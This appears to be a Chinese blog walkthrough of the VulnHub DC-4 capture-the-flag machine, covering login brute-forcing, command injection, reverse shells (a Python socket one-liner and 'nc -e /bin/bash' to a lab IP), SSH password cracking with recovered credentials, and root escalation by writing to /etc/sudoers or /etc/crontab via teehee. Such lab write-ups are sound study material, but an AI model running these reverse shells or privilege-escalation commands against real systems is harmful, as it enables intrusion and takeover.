vulnhub DC-4 walkthrough (含非预期)

实验

先做一个简单的信息收集

这是一个 admin:x 的登录入口,尝试 burp 爆破密码,字典使用 rockyou.txt

顺便扫一下目录

跑的时候久一点,会卡

拿到账号秘密 admin:happy

选择想使用的功能,点击 run,可以显示命令输出结果

尝试抓包修改命令

ls+-ls -> id

注:www-data 用户是 Linux 系统中专门为 Web 服务设计的用户,权限受严格控制。

既然能够命令执行,尝试反弹 shell

经过尝试,python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.130",1314));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'nc -e /bin/bash 192.168.110.130 1314等等都可以用的。

说明:

  • UID = 33 (www-data):表示该进程的实际用户(Real User ID)是 www-data。这意味着该进程属于 www-data 用户。
  • GID = 33 (www-data):表示该进程的实际组(Real Group ID)是 www-data 组。
  • EUID = 0 (root):表示该进程的有效用户(Effective User ID)是 root。有效用户 ID 决定了该进程在运行时实际拥有的权限。EUID 为 0 表示该进程具有 root 用户的权限。
  • Groups = 33 (www-data):表示该进程的所属组是 www-data。

    这是一个复现过程,结果发现这么个非预期解答。可能与python反弹 shell 的操作有关。现在来讲一下正常解。
    使用 nc -e /bin/bash 192.168.110.130 1314 反弹 shell

    只有 jim 文件里有东西,仔细查看

    jim 文件下的 old-passwords.bak 存储着久密码集,尝试爆破一些他的 ssh 账号。


    拿到 jim:jibril04

    提示有一封邮件,全局搜索 mail
    find / -d -name '*mail*' 2>/dev/null


    拿到另一组账号密码 Charles:^xHhA&hvim0y

    可特权使用 teehee
    查看使用帮助

    法一
    向 /etc/passwd 添加特权用户 或者 修改 /etc/sudoers
    echo 'ALL ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
    修改 /etc/sudoers 文件,以允许所有用户无需密码即可执行所有命令

说明

sudo 是"superuser do"的缩写,它允许授权用户以超级用户(root)或其他用户的身份运行命令。

使用 sudo 时,系统会要求输入当前用户的密码(而不是 root 的密码),前提是该用户已经被授权使用 sudo(通常在 /etc/sudoers 文件中配置)。

su 是"switch user"的缩写,用于切换到另一个用户的身份。默认情况下,不带任何参数的 su 命令会切换到 root 用户。

使用 su 时,系统会要求输入目标用户的密码(例如,切换到 root 时需要输入 root 的密码)。

sudo su 的作用

切换到 root 用户:

sudo su 的组合命令允许当前用户(必须是 sudo 授权用户)以 root 用户的身份打开一个新的终端会话。

这个命令的执行过程如下:

sudo 以超级用户权限运行 su 命令。

su 命令切换到 root 用户,并打开一个新的 root 终端会话。

不需要输入 root 密码:

如果你直接使用 su 命令切换到 root 用户,系统会要求输入 root 的密码。但使用 sudo su 时,系统会要求输入当前用户的密码(前提是该用户已被授权使用 sudo),而不需要输入 root 的密码。

法二:修改计划任务
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
/bin/sh

说明

计划任务格式

分钟 小时 日期 月份 星期 user command

上面命令代表 root 每分钟执行一次 chmod 4777 /bin/sh

4 代表 suid 位,表示以所有者权限执行,而 7 代表 读写执行(r,w,x)所有权限

总结

  • 扫描主机 ip,端口和服务版本信息。
  • burp 爆破 admin 密码并成功登录。
  • 利用网页命令执行功能抓包修改命令反弹 shell 成功。
  • 利用 jim 旧密码集爆破 jim ssh 密码,成功登录。
  • 根据提示查看邮件,成功切换到 charles
  • 利用 charles 特权命令 teehee 修改计划任务或修改 sudoers 提权成功。
相关推荐
wdfk_prog9 分钟前
[Linux]学习笔记系列 -- [kernel][time]alarmtimer
linux·笔记·学习
小志biubiu10 分钟前
【Linux】Ext系列文件系统
linux·服务器·c语言·经验分享·笔记·ubuntu·操作系统
ha204289419436 分钟前
Linux操作系统学习之---基于环形队列的生产者消费者模型(毛坯版)
linux·c++·学习
wanhengidc2 小时前
云手机适配用户有哪些?
服务器·arm开发·安全·智能手机·玩游戏
南林yan3 小时前
Debian、Ubuntu、CentOS:Linux 三大发行版的核心区别
linux·ubuntu·debian·linux内核
せいしゅん青春之我3 小时前
【JavaEE初阶】TCP核心机制3——连接管理
网络·网络协议·tcp/ip·java-ee
亚远景aspice4 小时前
亚远景-ISO 26262与ISO 21434:汽车安全标准的双基石
安全·web安全
Wang's Blog5 小时前
Linux小课堂: NGINX反向代理服务器配置与实践
linux·运维·nginx
zhilin_tang5 小时前
对比select和epoll两种多路复用机制
linux·c语言·架构
showker5 小时前
ecstore等产品开启缓存-后台及前台不能登录原因-setcookie+session问题
java·linux·前端